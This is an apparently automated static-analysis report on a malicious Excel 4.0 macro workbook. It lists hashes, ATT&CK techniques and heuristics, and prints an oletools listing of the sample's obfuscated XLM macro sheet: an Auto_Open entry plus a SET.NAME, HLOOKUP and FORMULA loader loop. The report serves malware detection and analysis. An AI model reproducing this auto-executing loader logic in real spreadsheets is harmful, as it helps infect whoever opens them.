Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 848b469c22a8c198…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:59 Authoring application: Microsoft Excel First seen: 2021-09-15
MD5: 8ac1d788057efa87ac5b00cf4b1076a5 SHA-1: 205fc4ce1861a104b6b0b5cddd4cb143b4efdaf6 SHA-256: 848b469c22a8c19832db0ea6a1752598d1c54a5b917a9533e636af67f685146e
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet that contains an Auto_Open macro, which is a known technique for executing malicious code upon opening the workbook. The presence of dangerous formula APIs like RUN indicates an intent to execute arbitrary commands, likely to download and execute a second-stage payload. No specific family could be identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6444 bytes
SHA-256: c7e32940171a9adccc8d3f57674608abdef89ea55a085b1673312bd448d192d7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KgxQw
' 0018     21 LABEL : Cell Value, String Constant - aEZeiX len=0 
' 0018     20 LABEL : Cell Value, String Constant - aNVRc len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E153 
' 0018     20 LABEL : Cell Value, String Constant - BZjCL len=0 
' 0018     21 LABEL : Cell Value, String Constant - DbCEda len=0 
' 0018     25 LABEL : Cell Value, String Constant - gkmmrrvHMr len=0 
' 0018     22 LABEL : Cell Value, String Constant - JWeTPDY len=0 
' 0018     23 LABEL : Cell Value, String Constant - KRBpokvB len=0 
' 0018     27 LABEL : Cell Value, String Constant - LFQAxvworbGz len=0 
' 0018     20 LABEL : Cell Value, String Constant - nfHVB len=0 
' 0018     20 LABEL : Cell Value, String Constant - QGNhg len=0 
' 0018     27 LABEL : Cell Value, String Constant - rwtdgZfiRxiv len=0 
' 0018     27 LABEL : Cell Value, String Constant - tPLtDYeQbrxA len=0 
' 0018     27 LABEL : Cell Value, String Constant - UAqrhXGhewDj len=0 
' 0018     25 LABEL : Cell Value, String Constant - uetvQagNYi len=0 
' 0018     24 LABEL : Cell Value, String Constant - uKQvGCoFt len=0 
' 0018     25 LABEL : Cell Value, String Constant - UrPMtijobm len=0 
' 0018     26 LABEL : Cell Value, String Constant - urtrrdCdrAa len=0 
' 0018     27 LABEL : Cell Value, String Constant - vWuDiKiiHzBk len=0 
' 0018     27 LABEL : Cell Value, String Constant - xQuKOpwWIBma len=0 
' 0018     22 LABEL : Cell Value, String Constant - yTqsVfn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KgxQw,E63,"SET.NAME("nfHVB",VALUE("0"))",""
'  KgxQw,E65,"SET.NAME("yTqsVfn",nfHVB)",""
'  KgxQw,E69,"SET.NAME("gkmmrrvHMr",nfHVB)",""
'  KgxQw,E72,"SET.NAME("QGNhg",COUNTA(tPLtDYeQbrxA))",""
'  KgxQw,E77,"SET.NAME("uetvQagNYi",COUNTA(aNVRc))",""
'  KgxQw,E82,[],""
'  KgxQw,E86,"SET.NAME("LFQAxvworbGz","")",""
'  KgxQw,E90,"yTqsVfn",""
'  KgxQw,E93,"SET.NAME("UrPMtijobm",HLOOKUP("*",tPLtDYeQbrxA,yTqsVfn,FALSE))",""
'  KgxQw,E95,"xQuKOpwWIBma",""
'  KgxQw,E97,"SET.NAME("uKQvGCoFt",nfHVB)",""
'  KgxQw,E102,[],""
'  KgxQw,E105,"uKQvGCoFt",""
'  KgxQw,E109,"UAqrhXGhewDj",""
'  KgxQw,E111,"BZjCL",""
'  KgxQw,E115,"rwtdgZfiRxiv",""
'  KgxQw,E118,"SET.NAME("vWuDiKiiHzBk",VALUE(HLOOKUP("*",aNVRc,rwtdgZfiRxiv,FALSE)))",""
'  KgxQw,E123,"urtrrdCdrAa",""
'  KgxQw,E128,"LFQAxvworbGz",""
'  KgxQw,E131,"gkmmrrvHMr",""
'  KgxQw,E134,NEXT(),""
'  KgxQw,E136,"KRBpokvB",""
'  KgxQw,E138,"SET.NAME("f",INT(T(FORMULA(T(LFQAxvworbGz)&"",""&T(KRBpokvB)))))",""
'  KgxQw,E141,"aEZeiX",""
'  KgxQw,E146,NEXT(),""
'  KgxQw,E148,RETURN(),""
'  KgxQw,E179,"SET.NAME("DbCEda",E63)",""
'  KgxQw,E183,"tPLtDYeQbrxA",""
'  KgxQw,E188,"SET.NAME("aNVRc",R87C14)",""
'  KgxQw,E193,"SET.NAME("aEZeiX",201)",""
'  KgxQw,E195,"SET.NAME("JWeTPDY",5)",""
'  KgxQw,E200,DbCEda(),""
'  KgxQw,E201,HALT(),""